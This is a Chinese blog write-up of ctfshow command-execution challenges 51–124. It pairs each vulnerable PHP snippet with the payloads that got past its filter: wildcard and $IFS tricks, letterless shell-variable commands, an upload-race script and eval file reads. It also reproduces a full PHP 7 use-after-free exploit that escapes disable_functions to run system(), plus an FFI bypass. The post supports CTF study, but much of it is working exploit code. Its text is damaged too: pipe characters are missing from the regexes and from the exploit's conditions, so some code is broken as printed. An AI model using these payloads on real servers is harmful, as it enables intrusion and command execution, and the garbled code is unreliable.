ctfshow- web入门命令执行(下)51-124

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;catflag [0-9]\\$\*morelessheadsorttailsedcuttacawkstringsodcurl\`\%\x09\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl<fla''g.php%0a

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;catflag [0-9]\*morelessheadsorttailsedcuttacawkstringsodcurl\`\%\x09\x26\>\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl${IFS}fla\g.php%0a 是个假flag flag在根目录 /?c=nl$IFS/fla\g%0a

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;catflag [0-9]\*morewgetlessheadsorttailsedcuttacawkstringsodcurl\`\%\x09\x26\>\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

?c=nl$IFS''fla\g.php

$IFS符号如果是在当前目录读文件则中间要用’’来分隔一下 如果读其他路径下的如根目录 / 下的文件 则不用使用符分割 file 这样也可以不用分割 $IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令

web54

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;.*c.*a.*t.*.*f.*l.*a.*g.* [0-9]\*.*m.*o.*r.*e.*.*w.*g.*e.*t.*.*l.*e.*s.*s.*.*h.*e.*a.*d.*.*s.*o.*r.*t.*.*t.*a.*i.*l.*.*s.*e.*d.*.*c.*u.*t.*.*t.*a.*c.*.*a.*w.*k.*.*s.*t.*r.*i.*n.*g.*s.*.*o.*d.*.*c.*u.*r.*l.*.*n.*l.*.*s.*c.*p.*.*r.*m.*\`\%\x09\x26\>\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

各位大佬的payload

/?c=uniq${IFS}f???????

?c=/bin/ca?${IFS}f???????

?c=grep${IFS}%27{%27${IFS}fl???php 在flag.php查找{开头的行

web55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;[a-z]\`\%\x09\x26\>\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

不能出现字母

方式一

利用通配符?匹配到/bin目录下的命令 cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等 file

这里使用base64命令 没有过滤空格

?c=/???/????64 ????.??? /bin/base64 flag.php

方式二

原理同上 利用的是/usr/bin目录 主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等 使用 /usr/bin下的bzip2: ?c=/???/???/????2 ???????? 然后url+flag.php.bz2 file

方式三

参考文章 无字母数字webshell之提高篇 符号 . 用来执行文件内的命令 file

需要构建一个文件上传的html抓包后再改到题目的地址

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form  method="post" enctype="multipart/form-data">
    <input type="file" name="1">
    <input type="submit" name="2">
</form>
</body>
</html>

发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名>是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

在请求结束的时候这个临时文件就会被删除 所以当请求的时候同时执行这个文件中的命令 先构造一个文件上传的html 然后抓包 file 我们需要这两个地方

然后抓题目的包 以防万一直接用 ?c=. /???/????????[@-[] 抓包 这里抓到的包空格会被编码成%20 这个%20我测试是必须要这样的

file 这里的 Content-Type: multipart/form-data;boundary=----WebKitFormBoundarywSuMAqEF0bwtGKfd 是一行 然后就是读取flag就可以了

这里直接cat flag.php就可以

还有大佬写的python脚本直接跑也可以

import requests

while True:
    url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web56

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;[a-z][0-9]\\$\(\{\'\"\`\%\x09\x26\>\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

同上边的无数字字母getshell

import requests

while True:
    url = "http://2281cc8b-ae66-442b-89f3-1dbaf33749ce.chall.ctf.show//?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web57

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;[a-z][0-9]\`\\#\'\"\`\%\x09\x26\x0a\>\<\.\,\?\*\-\=\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

$(( ))与整数运算 构造出36 通过取反-37可以得到36 file file

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

接下来就是求-37

file 可以看到对0求反是-1 也就是说

$(())==0 $((~$(())))==-1 file

下边是等于-2 file

$(($(($(())))$(($(())))))==-2

拆开看8

$(( $(($(()))) $(($(()))) )) $((~$(())))==-1 中间有两个所以是-2 是相加的 那中间有37个就是-37

$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))) file

然后取反就是36 payload: ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) file file

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

危险函数被禁止了 file

蚁剑直接连接

也可以用读文件的命令

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

都可以读 file

web59

可以用

highlight_file()
show_source()
fgets()
file()
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

c=highlight_file('flag.php');
c=show_source('flag.php');
.....上边几个都试一下

大佬新姿势

copy()
rename()
//用法:
copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");

web61

c=highlight_file('flag.php');
c=show_source('flag.php');

web62

c=show_source("flag.php");

web63

c=show_source('flag.php');

web64

c=show_source("flag.php");

web65

c=show_source("flag.php");

web66

show_source被禁用使用iclude利用伪协议读出flag.php 文件显示的代码,比如show_source、highlight_file、file_get_contents 文件包含,如include、require

file

不是真正的flag file

需要查看一下当前目录 print_r也可以 c=var_dump(scandir(".")); file scandir(“.”)中.表示当前目录 只有flag.php 看一下根目录 c=var_dump(scandir("/")); file

然后使用include读进来 c=include('/flag.txt'); file

或者使用 c=highlight_file("/flag.txt");

web67

同上 flag在/flag.txt c=include('/flag.txt'); c=highlight_file("/flag.txt");

web68

flag还是在/flag.txt highlight_file被禁 c=include('/flag.txt');

web69

过滤了var_dump和print_r无法打印出scandir(“/“)的内容 使用数组遍历出scandir的内容 三种方式

c=
$a=scandir("/");
foreach($a as $value){
echo $value."   ";
}
c=
$a=glob("/*");
foreach($a as $value){
echo $value."   ";
}
c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
}

继续 如果是php的话用

c=include($_GET['RA']); ?RA=php://filter/read=convert.base64-encode/resource=flag.php

txt直接包含 c=include('flag.txt');

web70

c=include("/flag.txt");

web71

题目提供有index.php的附件 网上的源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9][a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>
你要上天吗?

$s = ob_get_contents();//得到缓冲区的数据。 ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。 需要将flag包含进页面 包含进去之后会执行读缓冲区 然后清除 再加个exit()不让程序读缓冲区并清除

c=include('/flag.txt');exit();

web72

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9][a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}

exit();

flag为/flag0.txt 然后使用 php7-backtrace-bypass

c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address = ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr  !$text_size  !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79  strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

需要在burp中编码后发送

file

web73

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

glob协议遍历出文件 读取flagc.txt c=include('/flagc.txt');exit();

web74

同上

web75

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

flag在/flag36.txt

然后是通过数据库读文件 但是不清楚数据库的名和账号密码师傅们是在哪整的

c=

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web76

同上

web77

大佬的payload php7.4利用FFI来绕过disable_functions

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}

$ffi = FFI::cdef(
    "int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();

web118

题目过滤了小写字母 数字 / 利用bash自带的环境变量 参考 file ${PWD}在题中是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl: file payload ${PATH:~A}${PWD:~A} ????.???

web119

在118的基础上又过滤了PATH等关键字 使用/bin/base64 flag.php读文件 即/???/?????4 ????.??? /被过滤 ?没有被过滤 需要构造出/和4 file PWD的第一位一般就是/ 需要找到一个值为1的变量 file 变量SHLVL的值为1 ${PWD::${#SHLVL}} 就可以得到/(这里不知道为什么必须要加个#按长度算为1 本地测试是可以匹配到/bin/base64 但是放在题目里必须要加#才可以) file

file ${#a}` 加了#是变量的长度 不加是变量的值 剩下数字4 使用变量RANDOM > RANDOM 此变量值,随机出现整数,范围为0-32767 ![file](../attachment/uploads/2021/01/image-1612088735725.png) 输出的长度为0-5 ![file](../attachment/uploads/2021/01/image-1612088783968.png) 大部分是4和5 那么payload `${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???` # web120


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09\x0a[a-z][0-9]PATHBASHHOME\/\(\)\[\]\\\\\+\-\!\=\^\*\x26\%\<\>\'\"\`\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>
同上 # web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09\x0a[a-z][0-9]FLAGPATHBASHHOMEHISTIGNOREHISTFILESIZEHISTFILEHISTCMDUSERTERMHOSTNAMEHOSTTYPEMACHTYPEPPIDSHLVLFUNCNAME\/\(\)\[\]\\\\\+\-_~\!\=\^\*\x26\%\<\>\'\"\`\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>
SHLVL被ban了 需要找另外一个替换 ![file](../attachment/uploads/2021/01/image-1612089883697.png) > $# $? 这两个的值都为0 加上#代表长度就为1 payload `${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???` hint中的payload `${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
使用的是/bin/rev读文件 把文件中每行逆序输出读取 用到了IFS 定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3 PWD为 /var/www/html 刚好第三个是r 可以匹配到/bin/rev

web122


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09\x0a[a-z][0-9]FLAGPATHBASHPWDHISTIGNOREHISTFILESIZEHISTFILEHISTCMDUSERTERMHOSTNAMEHOSTTYPEMACHTYPEPPIDSHLVLFUNCNAME\/\(\)\[\]\\\\\+\-_~\!\=\^\*\x26#%\>\'\"\`\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

PWD和#号被ban了 PWD可以用HOME替代file 再找一个替代数字1的 还是用之前的 $?

$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

所以在使用$?之前要先给错误的命令 让$?的值为1

大佬说 ${} 和 <A 可以 但是题目上${}这个不可以 所以用<A 后边的数字4还是用RANDOM随机数来获取 需要多试几次 file payload <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

利用进制转换 参考

base_convert(number,frombase,tobase);
参数  描述
number      必需。规定要转换的数。
frombase    必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase      必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string
base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET

最终payload payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

payload:c=$pi=_GET;$$pi{abs}($$pi{acos}&abs=sysytem&acos=tac f* c=$pi=_GET;$_GET{abs}($_GET{acos})&abs=sysytem&acos=tac f*


ctfshow- web入门命令执行(下)51-124
http://example.com/2021/01/27/OldBlog/ctf-show-web入门命令执行下51-124/
作者
Autumn
发布于
2021年1月27日
许可协议